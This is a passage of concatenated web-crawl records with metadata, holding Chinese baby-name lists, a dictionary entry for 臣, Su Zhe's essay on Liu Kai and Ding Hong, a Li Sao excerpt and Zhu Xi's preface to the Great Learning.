岑瑶程 岑闲霞 岑暄媛 岑嫣非 岑凤恬 岑颜璨 岑莹苒 岑莉斐 岑蓉天 岑淞悦 岑玲潞 岑蘅莹 岑倩西 岑婷窳 岑铧燕 岑襄家 岑婧焓 岑芸琼 岑掴芬 岑飘红 岑妍忌 岑锐秀 岑悦姣 岑烙雪 岑辅艳 岑赤红 岑孙颖 岑梃悦 岑珍蓉 岑芬荣 岑萦琼 岑寻莹 岑军琼 岑桓婷 岑萨怡 岑琳程 岑旺陆 岑迦玉 岑那丽 岑欲娜 岑琳雷 岑倚裴 岑蕤萍 岑莉鲜 岑玲旭 岑阁萍 岑愉琴 岑怡书 岑晗娜 岑昔媛 岑燕柃 岑席文 岑怡骋 岑莹变 岑娟琼 岑清瑶 岑漪颖 岑雷美 岑治玉 岑姚玲 岑莛茹 岑荧霞 岑冯红 岑悦晰 岑玲夕 岑山美 岑誉彬 岑李妹 岑波妍 岑朱娅 岑法燕 岑范英 岑历雪 岑啸莉 岑圭芳 岑玲辰 岑夙娟 岑茹熙 岑什瑶 岑厚颖 岑玲仙 岑严娟 岑廷艳 岑旺美 岑童娅 岑晔英 岑悦勋 岑跃花 岑后琴 岑椒红 岑幻丽 岑省娟 岑哓芳 岑烁茹 岑悦贺 岑萍尹 岑妍勃 岑常雪 岑悠丽 岑悦蓝 岑凡存 岑董琳 岑裴妤 岑少婵 岑柱萍 岑佼蓉 岑蓉晗 岑玲方 岑凌玉 岑静玲 岑治婷 岑兹红 岑伯梅 岑桢芳 岑莹六 岑宛莉 岑沅部 岑秀力 岑傅婧 岑秀苹 岑吖娜 岑欷文 岑珍洁 岑典萍 岑崎秀 岑怡菽 岑凤英 岑嫣婉 岑注琳 岑玲泷 岑悦捷 岑素裴 岑寅艳 岑悦浚 岑冯莹 岑直文 岑承娥 岑同冉 岑篱娜 岑秀天 岑嫣樾 岑窍梅 岑文美 岑米瑶 岑翱冉 岑江冉 岑泳唐 岑皙怡 岑范颖 岑湖玲 岑怿倩 岑晶冉 岑儒雪\n关键词: 女孩起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.guangdongpost.com\/nvhaiqiming\/220.html","date":"2019-12-10T21:16:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540529006.88\/warc\/CC-MAIN-20191210205200-20191210233200-00263.warc.gz","language":"lzh","language_score":0.4683561325,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4683561325073242, \"cmn_Hani_score\": 0.17135731875896454, \"und_Grek_score\": 0.059766735881567, \"nan_Hani_score\": 0.05594046786427498, \"und_Sgnw_score\": 0.04940439388155937, \"und_Kits_score\": 0.03292474150657654, \"und_Lepc_score\": 0.025378385558724403, \"und_Egyp_score\": 0.021388385444879532, \"und_Nshu_score\": 0.020080268383026123, \"wuu_Hani_score\": 0.01550969760864973, \"und_Yiii_score\": 0.012904543429613113, \"und_Hluw_score\": 0.012311910279095173, \"und_Lina_score\": 0.011181912384927273}","num_words":852,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.456,"perplexity_score":500.0,"cluster_detection":1} +{"text":"臣字怎么组语:\n先臣 权臣 忠臣 尸臣 部臣 人臣 臣下 兽臣 臣节 帅臣 禄臣 任臣 藩臣 守臣 机臣 直臣 骄臣 态臣 圣臣 辞臣 迁臣 士臣 侵臣 称臣 谐臣 臣服 霸臣 纯臣 才臣 信臣 谏臣 臣僚 放臣 累臣 豪臣 宰臣 四臣 漕臣 奸臣 臣司 臣孽 桢臣 穑臣 辅臣 近臣 贤臣 望臣 亲臣 一代鼎臣 主贤臣良 柱石之臣 羁旅之臣 位极人臣 臣心如水 不臣之心 君辱臣死 谋臣猛将 忠臣良将 贼臣乱子 文臣武将 名臣硕老 孽子孤臣 骨鲠之臣 买臣覆水 纳贡称臣 贼子乱臣 一代宗臣 忠臣义士 君桴臣鼓 主忧臣辱 主忧臣劳 今者臣来 市井之臣 乱臣逆子 忠臣孝子 谋臣武将 四近之臣 君前臣名 草茅之臣 忠臣烈士 北面称臣 贼臣逆子 草莽之臣 迁臣逐客 股肱之臣 逆子贼臣 有功之臣 不按君臣 称臣纳贡 君圣臣贤 遗老孤臣 折冲之臣 功臣自居 谋臣如雨 开国功臣 社稷之臣 茵席之臣 亡国之臣 窃簪之臣 奸臣当道\n臣字怎么造句:\n1.这位大臣招致国王的冷遇。\n2.他是英国最糟糕的财政大臣。\n3.他是葡萄牙国王的使臣。\n4.哈罗德身边的臣仆仍严守纪律。\n5.他是一个圆滑的朝臣。\n6.该大臣已示意他明年可能辞职。\n7.大臣们得到了相当数量的税款。\n8.他还不许大臣们向他提续弦的事。\n9.她已辞去大臣职位。\n10.我接到我的大臣们那么多的公文。\n常用词组:\n臣服 chn f\n[submit oneself to the rule of;acknowledge allegiance to] 屈服称臣,接受统治\n今予一二伯父,尚胥暨顾,绥尔先公之臣服于先王。–《书.康王之诰》\n臣僚 chn lio\n[the officials at court] 旧指辅佐君主的文臣武将\n臣虏 chn lǔ\n[slave] 奴隶\n虽臣虏之劳不苦于此矣。–《韩非子.五蠹》\n臣仆 chn p\n[servant] 仆人的自称\n臣妾 chn qi\n[female servant] 妾的自称\n臣子 chn zǐ\n[official as subject to the king] 君主时代的官吏","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/www.xyzkjz.com\/8799.html","date":"2020-04-05T06:39:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370529375.49\/warc\/CC-MAIN-20200405053120-20200405083120-00472.warc.gz","language":"lzh","language_score":0.5000728369,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5000728368759155, \"cmn_Hani_score\": 0.289254754781723, \"nan_Hani_score\": 0.1416323333978653, \"wuu_Hani_score\": 0.03066514991223812, \"jpn_Jpan_score\": 0.027823464944958687, \"yue_Hani_score\": 0.010421128012239933}","num_words":161,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.532,"perplexity_score":500.0,"cluster_detection":1} +{"text":"志字取名男孩名字好听 带志的霸气男孩名字 男孩子叫志什么高分名\n\"志\"字用在男生的名字里很常见,总有种表示远大理想的意思,所以用到这个字取名的人并不少见,要怎样用\"志\"字取名才又好听又霸气还是最高分呢?一起来了解!\n志字字典字义:\n志:表示志学、志趣、志士。部首五行属火;数理五行属金。\n志81数理:(精悍):刚毅果断勇往直前的进取数。\n1.意向:志愿、志气、志趣、志士。\n2.记,记在心里:志喜、志哀、永志不忘。\n3.记号:标志。\n4.记载的文字:杂志、志怪(记载怪异的事)。\n用作人名寓指:远大志向、高尚节操等。\n带志字的好听霸气高分男孩名:\n志晋 志明 志昊 志昆 志忠 志于 志东 志翔 志行 志译 志华 志铖\n志宸 志钢 志琦 志彦 志功 志洛 志杰 志良 志怀 志用 志楷 志清\n志城 志谦 志超 志刚 志达 志源 志川 志盈 志唯 志欣 志贤 志烽\n志麟 志灿 志钊 志柯 志毅 志智 志轩 志威 志疆 志宾 志强 志骏\n志驰 志官 志玮 志委 志炜 志瑋 志卫 志蔚 志钧 志伯 志烽 志俊\n志隽 志浚 志骏 志开 志钧 志伯 志宁 志俊 志隽 志浚 志骏 志杰\n志佩 志范 志淦 志朋 志畅 志彭 志鹏 志澎 志浦 志溥 志圻 志岐\n志其 志仁 志荣 志容 志嵘 志臣 志溶 志岗 志革 志宸 志汕 志绍\n志申 志若 志森 志冠 志翔 志梧 志昆 志勋 志洵 志训 志亚 志柏\n志川 志昀 志航 志跃 志禹 志榄 志朗 志裕 志淳 志煜 志渊 志昱\n文志 乐志 礼志 忠志 鲲志 怀志 新志 臣志 睿志 炳志 兴志 君志\n云志 和志 逸志 泓志 思志 锦志 竹志 皓志 坚志 宗志 儒志 涵志\n常志 广志 瑞志 昌志 书志 奇志 宁志 随志 谊志 明志 昊志 尚志\n嘉志 翚志 禹志 雄志 阳志 卿志 慕志 胜志 熙志 盛志 咏志 成志\n柏志 友志 博志 宥志 恒志 雄志 卓志 禹志 礼志 宬志 骐志 柄志\n善志 力志 颜志 本志 健志 波志 鸿志 伦志 忠志 轮志 茂志 孟志\n民志 彬志 盛志 士志 世志 豪志 扬志 启志 述志 彦志 澍志 策志\n双志 祖志 顺志 思志 汇志 丙志 松志 素志 鸣志 宸志 涛志 谦志\n腾志 宣志 廷志 维志 伟志 卫志 霆志 文志 程志 昊志 武志 乾志\n星志 益志 意志 嘉志 亨志 毅志 英志 迎志 盈志 安志 江志 泽志","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/m.tianya999.com\/qiming\/2020\/0413\/19012512.html","date":"2020-09-18T10:12:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400187390.18\/warc\/CC-MAIN-20200918092913-20200918122913-00579.warc.gz","language":"lzh","language_score":0.9369843006,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9369843006134033, \"cmn_Hani_score\": 0.051140252500772476}","num_words":253,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.31,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.959,"perplexity_score":500.0,"cluster_detection":1} +{"text":"劉愷丁鴻孰賢論 (蘇轍)\n天下之讓三:有不若之讓,有相援之讓,有無故之讓。讓之為名,天下之大功大善也。然而至於無故之讓,則聖人深疾而排之,以為此奸人之所以盜名於暗世者也。\n昔者公族穆子之讓韓起,范宣子之讓智伯,宣子、穆子中心誠有以愧於彼二人者,是不若之讓也。舜之命禹也,讓於皋陶,其命益也,讓於朱虎、熊羆。夫皋陶之不能當禹之任,朱虎、熊羆之不能辦益之事,亦明矣。然猶讓焉者,是所謂相援之讓也。夫使天下之人皆能讓其所不及,則賢材在位,而不肖者不爭;皆能以相推,則賢者以類升,而小人不能間。此二者天下之大善也。至於無故之讓,則天下之大不善也。東漢之衰,丁鴻、鄧彪、劉愷此三人者,當襲父爵而以讓其弟,非是先君之命,非有嫡庶之別,而徒讓焉,以自高於世俗。世之君子從而譏之。然此三人者之中,猶有優劣焉。劉、鄧讓而不反,以遂其非。丁鴻讓而不終,聽其友人鮑駿之言而卒就國,此鴻之所以優於劉、鄧也。且夫聞天下之有讓,而欲竊取其名以自高其身,以邀望天下之大利者,劉愷之心也。聞天下之讓而竊慕之,而不知其不同,以陷於不義者,丁鴻之心也。推其二心而定其罪,則而鴻在可恕,愷為可戮,此真偽之辨也,賢愚可以見矣。\n故范曄曰:「太伯、伯夷未始有其讓也,故太伯稱至德,伯夷稱賢人,末世徇其名而昧其致,則詭激之行興矣。」若夫鄧彪、劉愷讓其弟以取義,使弟受非服,而己受其名,不已過乎?夫君子之立言,非以苟顯其理,將以啟天下之未悟者;立行,非以苟顯其身,將以教天下之方動者。言行之所開塞可無慎乎?丁鴻之心存乎忠愛,故能終悟而從義也。異乎二子之徇名者也。嗚呼!世之邪僻之人,苟昌天下之美名,以僥幸天下之大利,自以為人莫吾察也,而不知君子之論有以見之。故為天下不可以不貴君子之論也。\n|↑返回頂部|\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%8A%89%E6%84%B7%E4%B8%81%E9%B4%BB%E5%AD%B0%E8%B3%A2%E8%AB%96_(%E8%98%87%E8%BD%8D)","date":"2021-02-28T17:31:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178361510.12\/warc\/CC-MAIN-20210228145113-20210228175113-00141.warc.gz","language":"lzh","language_score":0.4580324292,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.45803242921829224, \"cmn_Hani_score\": 0.45365312695503235, \"nan_Hani_score\": 0.05006876960396767, \"wuu_Hani_score\": 0.028911538422107697}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.641,"perplexity_score":500.0,"cluster_detection":1} +{"text":"李乐怡名字打分是多少分?\n李乐怡lǐlèyí繁体:李乐怡 五行:火火土 简体笔画:758繁体笔画:7159得分:58天格:中吉人格:凶地格:大吉外格:凶总格:大吉名字不理想,建议更换!\n帮我儿子改个名字,姓李的.?\n李乐欣,李乐怡李乐忻,李乐恺李乐祾,李乐祯李乐祥,李乐祺李乐云,李乐霄李乐雨,李乐溦李乐霏,李乐霖李乐旻,李乐穹李乐溟,李乐瀛李乐艾,李乐馨李乐竑,李乐昊李乐翾,李乐翃李乐彦,李乐懿李乐雁,李乐鸿李乐仁,李乐孝李乐恩,李乐贤李乐词,李乐诗李乐文,李乐言李乐昀,李乐昱李乐孜,李乐励李乐诚,李乐信李乐丹,李乐彤李乐桐,李乐林李乐佳,李乐祎李乐巍,李乐峣李乐风,李乐雷李乐翀,李乐翔李乐星,李乐辰李乐溪,李乐源李乐果,李乐茗李乐熹,李乐晗李乐昕,李乐旸李乐煊,李乐昫\n给姓李的女孩起名字?\n李丽颖 李娉婷 李婷 李冠英 李萍 李新萍 李莉颖 李小萍 李丽 李抒萍 李书萍 李舒萍 李坊颖 李淑萍 李姝萍 李慕雪 李琳 李玲 李林颖 李琳颖 李今颖 李娜 李金颖 李亚倩 李秀英 李金玲 李广文 李菊英 李婧妍 李延霞 李娟娟 李正娟 李妍 李华英 李娅瑜 李玥 李君茹 李悦凯 李红梅 李健英 李佳冉 李莉 李曲萍 李佳燕 李娟 李爱芬 李素芬 李蓉 李晓艳 李婷婷 李映雪 李佳颖 李雪瑶 李海嫣 李海妍 李海艳 李心悦 李昊颖 李子娟 李金玉 李妍儒 李淑燕 李艾悦 李佳怡 李浩冉 李茹君 李雨倩 李雅丽 李伟英 李巧丽 李莲丽 李莲莉 李欣妍 李洁莹 李冬莉 李跃莉 李冰洁 李旭莉 李新莉 李彦丽 李方琳 李燕 李忠梅 李婷月 李廷芬 李伟倩 李明洁 李薇婷 李江霞 李蔓莉 李石英 李凌洁 李婧绫 李景玉 李娅 李利芬 李良芬 李怡然 李宁娟 李德梅 李宛玉 李会英 李芳萍 李晓燕 李树梅 李卓妍 李新玲 李佳文 李冬梅 李怡 李盈莹 李佳红 李沪娟 李华娟 李佳玥 李欣玥 李芳 李家悦 李花 李骅娟 李雪 李红艳 李衡玥 李月娥 李含玥 李茹玥 李秋蓉 李月洁 李佳悦 李悦 李爱琴 李彦悦 李艳琼 李冰雪 李北燕 李红玲 李东雪 李颖 李嘉玥 李丽琴 李相梅 李霞 李鹃娟 李石娟 李梅 李胜媛 李冬艳 李乐怡 李利娟 李艾颖 李艾莹 李卓颖 李文燕 李小艳 李建文 李艾玲 李静梅 李玲华 李艾琳 李怡蕊 李蕊玥 李瑞玥 李如嫣 李妍宜 李建梅 李妍妮 李嫣云 李楚嫣 李丽蓉 李红 李晓莉 李小芳 李若莹 李颖婷 李春丽 李权英 李燕平 李瑞玲 李纪娜 李洁 李林娟 李怡文 李培玉 李晓文 李昭洁 李怡杭 李先梅 李晓红 李巧梅 李彩霞 李国文 李培丽 李装玲 李龙玲 李冠文 李悦嘉 李彩萍 李英 李媛媛 李丽娜 李怡熹 李瑶 李艳玲 李亚文 李怡娴 李洪丽 李嫣昙 李倩 李晨妍 李晨燕 李学文 李辰妍 李辰燕 李思怡 李海燕 李黄燕 李秋红 李朝霞 李凤琴 李世文 李艳 李小红 李怡波 李婧涵","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/bev-car.com\/news\/16947145.html","date":"2021-06-23T14:06:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623488539480.67\/warc\/CC-MAIN-20210623134306-20210623164306-00404.warc.gz","language":"lzh","language_score":0.4668303728,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.46683037281036377, \"nan_Hani_score\": 0.3301832973957062, \"cmn_Hani_score\": 0.19633767008781433}","num_words":231,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.643,"perplexity_score":500.0,"cluster_detection":1} +{"text":"男:唐乙登 唐率硕 唐迩歌 唐资森 唐望宸 唐一朔 唐一伦 唐乙赫 唐会皓 唐一珅 唐饶刚 唐率伦 唐崊淇 唐澜夏 唐资杰 唐彬宁 唐彬理 唐琪骁 唐斌展 唐望仁 唐铄苹 唐莘皓 唐基瑜 唐海芝 唐茂量 唐晨赫 唐颂懿 唐迎慈 唐国与 唐基方 唐饶峰 唐翌高 唐若荣 唐启豪 唐会盛 唐跃玮 唐崇伦 唐浪迪 唐崊仁 唐振予 女:唐茂艳 唐祥嫣 唐俪嫣 唐靖涵 唐一皓 唐琳婷 唐琳雁 唐英赫 唐熙媛 唐琳敞 唐樱育 唐爽真 唐常杰 唐英珂 唐靖绚 唐皎纶 唐偌绚 唐群欢 唐曼玲 唐晨兮唐俪丹 唐义晶 唐崊瑜 唐一苹 唐甜绚 唐悦歌 唐义藻 唐尉慈 唐婧玮 唐健方 唐樱时 唐翌珂 唐悄荣 唐国华 唐熙云 唐誉滋 唐珠笑 唐苗博 唐甜之 唐熙力\n姓唐的女孩子起名,要古风的,就像小说里的那样?\n唐子衿\n唐飞芙、唐醉梦、唐晓萱、唐亦雪、唐雁翠、唐冷蕊、唐水瑶、唐盼云、唐妙桃、唐谷梦、唐白绿、唐海波、唐乐绿、唐雅雪、唐映雪、唐靖雪、唐诗霜、唐易绿、唐紫珊、唐孤山、唐凝翠、唐寄青、唐诗萍、唐之梅、唐春之、唐雁薇、唐盼柔、唐新瑶、唐水夏、唐之文、唐冬卉、唐雨蓉、唐诗曼、唐灵露、唐醉蝶、唐飞巧、唐寻儿、唐新萍、唐初蕾、唐新风、唐雅柏、唐依夏、唐南风、唐天珍、唐幼秋、唐乐容、唐天晴、唐易槐、唐谷玉、唐冰卉、唐听荷、唐灵云、唐碧荷、唐绿兰、唐向烟、唐惜枫、唐迎晴、唐夜桃、唐语柏、唐凡云、唐醉枫、唐听蕾、唐以秋、唐巧蓉、唐宛巧、唐寻寒、唐秋白、唐绿梦、唐孤香、唐香烟、唐寒萍、唐诗菱、唐雪安、唐雁珊、唐芷菡、唐向波、唐之松、唐诗安、唐千旋、唐易冬、唐灵香、唐曼旋、唐访琴、唐友双、唐寄夏、唐靖曼、唐尔露、唐书蕊、唐冷之、唐问秋、唐元彤、唐绿南、唐诗秋、唐亦莲、唐灵蕾、唐向蕊\n唐幻桃、唐友丹、唐忆薇、唐寄灵、唐绿蓝、唐向文、唐觅筠、唐觅南、唐雪云、唐又蕾、唐迎柳、唐水安、唐寒蕊、唐慕桃、唐凡冬、唐笑巧、唐从筠、唐思蕊、唐诗珍、唐傲山、唐翠晴、唐书春、唐夏松、唐从柏、唐秋丝、唐寒曼、唐靖柔、唐尔风、唐含春、唐水容、唐幼冬、唐尔珊、唐觅丝、唐怀卉、唐凝亦、唐谷容、唐雁竹、唐沛霜、唐语冬、唐念兰、唐孤云、唐冰芙、唐含竹、唐南柔、唐映珍、唐青蓉、唐锰铺、唐雪容、唐雁青、唐春烟、唐含绿、唐绮荷、唐醉芹、唐之安、唐绿琴、唐采阳、唐小晴、唐元丝、唐怀珍、唐寻琴、唐亦兰、唐宛易、唐尔芹、唐寻萱、唐代阳、唐凝真、唐青枫、唐南烟、唐灵凝、唐亦竹、唐如丝、唐冬松、唐曼松、唐之萱、唐采彤、唐曼柏、唐天莲、唐翠天、唐雨春、唐若菡、唐痴卉、唐亦凝、唐绿文、唐迎风、唐幻萱、唐靖彤、唐友菱、唐沛菡、唐夜安、唐诗蕾、唐雅翠、唐凝晴、唐访松、唐凌丹、唐新绿、唐夜露、唐初柳、唐翠卉、唐涵云、唐灵霜、唐凡波、唐冰易、唐以瑶、唐幼真\n父亲姓王母亲姓唐想给宝宝起个名字9月份生日?\n王唐昊 王唐会 王唐武 王唐樱 王唐容 王唐超 王唐猛 王唐鑫 王唐岩 王唐燊 王唐健 王唐垒 王唐昱 王唐镇 王唐鑫 王唐氏 王唐坚 王唐鑫 王唐凤 王唐虎 王唐进 王唐玮 王唐倍 王唐清 王唐远 王唐厅 王唐炜 王唐旭 王唐泽 王唐乾 王唐若 王唐箫 王唐悦 王唐雷 王唐澄 王唐勇 王唐扬 王唐珩 王唐孜 王唐耀 王唐光 王唐吉 王唐烨 王唐敏 王唐坷 王唐楠 王唐峰 王唐焱 王唐洛 王唐博 王唐情 王唐柠 王唐彬 王唐虎 王唐杰 王唐辉 王唐峰 王唐昊 王唐浩 王唐浩 王唐清","id":"","dump":"CC-MAIN-2021-31","url":"http:\/\/www.nhhongxing.cn\/bbqm\/11632.html","date":"2021-08-03T10:19:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154457.66\/warc\/CC-MAIN-20210803092648-20210803122648-00485.warc.gz","language":"lzh","language_score":0.4658227563,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4658227562904358, \"cmn_Hani_score\": 0.35006678104400635, \"nan_Hani_score\": 0.13170412182807922, \"wuu_Hani_score\": 0.03636183962225914}","num_words":145,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.49,"perplexity_score":500.0,"cluster_detection":1} +{"text":"首頁\n探索\n看到那些email真的哭笑不得。還好我不用收信不然一定被氣死。\n今日文本:\n帝高陽之苗裔兮,朕皇考曰伯庸。攝提貞於孟陬兮,惟庚寅吾以降。\n皇覽揆餘初度兮,肇錫餘以嘉名:名余曰正則兮,字余曰靈均。\n紛吾既有此內美兮,又重之以修能。扈江離與辟芷兮,紉秋蘭以爲佩。\n汨餘若將不及兮,恐年歲之不吾與。朝搴阰之木蘭兮,夕攬洲之宿莽。\n日月忽其不淹兮,春與秋其代序。唯草木之零落兮,恐美人之遲暮。\n或是 登入","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/open.firstory.me\/story\/ckm06dx60qk6q08929vywcryb","date":"2021-08-02T10:14:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154310.16\/warc\/CC-MAIN-20210802075003-20210802105003-00245.warc.gz","language":"lzh","language_score":0.4777276218,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.47772762179374695, \"cmn_Hani_score\": 0.39293384552001953, \"jpn_Jpan_score\": 0.08758388459682465, \"nan_Hani_score\": 0.018346888944506645, \"wuu_Hani_score\": 0.014930188655853271}","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.814,"perplexity_score":500.0,"cluster_detection":1} +{"text":"河北福连升老北京布鞋、休闲鞋品牌加盟店信息和河北鞋店加盟方法介绍。\n河北 唐山 浙江 杭州 江西 新余 延安 陕西 湖南 长沙 湖州 订货会 广东 河源 安康 青海 玉树 娄底 温州 江苏 泰州 承德 廊坊 固安 河南 新乡 安徽 天长 滁州 扬州","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.fuliansheng.com\/tags.php?\/116\/","date":"2021-07-29T06:38:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153816.3\/warc\/CC-MAIN-20210729043158-20210729073158-00687.warc.gz","language":"lzh","language_score":0.7096840143,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.7096840143203735, \"cmn_Hani_score\": 0.2685059905052185, \"nan_Hani_score\": 0.012903491035103798}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.71,"perplexity_score":500.0,"cluster_detection":1} +{"text":"この広告は、90日以上更新していないブログに表示しています。\n大學之書、古之大學所以敎人之法也。蓋自天降生民、則旣莫不與之以仁義禮智之性矣。然其氣質之稟或不能齊。是以不能皆有以知其性之所有而全之也。一有聰明睿智能盡其性者出於其閒、則天必命之以爲億兆之君師、使之治而敎之、以復其性。此伏羲・神農・黄帝・堯・舜、所以繼天立極、而司徒之職、典樂之官所由設也。三代之隆、其法寖備。然後王宮・國都以及閭巷、莫不有學。人生八歳、則自王公以下至於庶人之子弟、皆入小學、而敎之以灑掃・應對・進退之節、禮・樂・射・御・書・數之文。及其十有五年、則自天子之元子・衆子、以至公・卿・大夫・元士之適子、與凡民之俊秀、皆入大學、而敎之以窮理、正心、脩己、治人之道。此又學校之敎、大小之節所以分也。夫以學校之設、其廣如此、敎之之術、其次第節目之詳又如此、而其所以爲敎、則又皆本之人君躬行心得之餘、不待求之民生日用彝倫之外。是以當世之人無不學。其學焉者、無不有以知其性分之所固有、職分之所當爲、而各俛焉以盡其力。此古昔盛時、所以治隆於上、俗美於下、而非後世之所能及也。及周之衰、賢聖之君不作、學校之政不脩、敎化陵夷、風俗頹敗。時則有若孔子之聖、而不得君師之位以行其政敎。於是獨取先王之法、誦而傳之以詔後世。若曲禮・少儀・内則・弟子職諸篇、固小學之支流餘裔、而此篇者、則因小學之成功、以著大學之明法、外有以極其規模之大、而内有以盡其節目之詳者也。三千之徒、蓋莫不聞其說、而曾氏之傳獨得其宗。於是作爲傳義、以發其意。及孟子沒而其傳泯焉。則其書雖存、而知者鮮矣。自是以來、俗儒記誦詞章之習、其功倍於小學而無用、異端虛無寂滅之敎、其高過於大學而無實。其他權謀術數、一切以就功名之說、與夫百家衆技之流、所以惑世誣民、充塞仁義者、又紛然雜出乎其閒、使其君子不幸而不得聞大道之要、其小人不幸而不得蒙至治之澤。晦盲否塞、反覆沈痼、以及五季之衰、而壞亂極矣。天運循環、無往不復。宋德隆盛、治敎休明。於是河南程氏兩夫子出、而有以接乎孟氏之傳。實始尊信此篇而表章之、旣又爲之次其簡編、發其歸趣。然後古者大學敎人之法、聖經賢傳之指、粲然復明於世。雖以熹之不敏、亦幸私淑而與有聞焉。顧其爲書猶頗放失。是以忘其固陋、采而輯之、閒亦竊附己意、補其闕略、以俟後之君子。極知僭踰。無所逃罪。然於_國家化民成俗之意、學者脩己治人之方、則未必無小補云。","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/otyto.hatenablog.com\/entry\/2013\/05\/12\/000000_1","date":"2021-09-27T16:36:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780058456.86\/warc\/CC-MAIN-20210927151238-20210927181238-00474.warc.gz","language":"lzh","language_score":0.7592443228,"language_script":"Hani","minhash_cluster_size":11,"top_langs":"{\"lzh_Hani_score\": 0.7592443227767944, \"cmn_Hani_score\": 0.11777102202177048, \"nan_Hani_score\": 0.02423897199332714, \"jpn_Jpan_score\": 0.02408003993332386, \"yue_Hani_score\": 0.016253046691417694, \"zxx_Latn_score\": 0.011465012095868587, \"wuu_Hani_score\": 0.01030705776065588}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.768,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1.薛姓男孩起名字\n薛奕泽 薛森鑫 薛柏伟 薛依桢 薛登廷 薛钊博 薛志成 薛浩华 薛永渊 薛程方 薛立欣 薛子舟 薛鹏宁 薛梓容 薛春欣 薛子乐 薛进峰 薛嘉言 薛杨益 薛鑫心 薛震如 薛裴增 薛浩云 薛泽翔 薛宇可 薛光华 薛艾航 薛龙涛 薛小伟 薛晋柱 薛仕轩 薛宏岸 薛熠峤 薛凌珏 薛帅平 薛桢笙 薛鹏平 薛豪斗 薛亮恒 薛淑辉 薛让二 薛系南 薛倪瑗 薛诗若 薛泽广 薛子乐 薛文豪 薛宇毓 薛志彪 薛向昊 薛志博 薛轩涵 薛朝哲 薛宇强 薛桥龙 薛世元 薛善毓 薛子民 薛云高 薛泽晓 薛文林 薛京睿 薛忠呓 薛沛爽 薛牧晟 薛和然 薛颖涛 薛乃万 薛光昕 薛雨林 薛俊超 薛自华 薛羽轩 薛昭文 薛京森 薛志和 薛忡欣 薛皓源 薛哲炫 薛海飞 薛剑清 薛茗瑞 薛洪芃 薛鸿民 薛克之 薛狄萱 薛韦勇 薛恣荣 薛永湘 薛林平 薛世舟 薛光泽 薛雨珲 薛洪轩 薛鸿甯 薛允虎 薛佩君 薛禹雷 薛恩德 薛宗同 薛奕三 薛革杰 薛灿彤 薛钰强 薛福泫 薛子建 薛灏保 薛奕秉 薛幸江 薛金昭 薛琪邈 薛烁睿 薛子夫 薛皓戅 薛燊梅 薛云勇 薛冬栋 薛文宏 薛子强 薛菱函 薛乐军 薛家浩 薛紫翔 薛耿军 薛震麒 薛荐堂 薛国桦 薛雪仙 薛晋轩 薛镇卫 薛怀皓 薛泽廷 薛有华 薛宏昌 薛丰鸽 薛永锋 薛裕涵 薛军祯 薛海东 薛芯馨 薛欣泉 薛州政 薛贻明 薛益涵 薛承豪 薛春琪 薛润刚 薛祖权 薛曜棣 薛宗滋 薛翰鹏 薛宏棱 薛煊恒 薛烯帆 薛梓仁 薛嘉心 薛思泯 薛明诗 薛炎俊 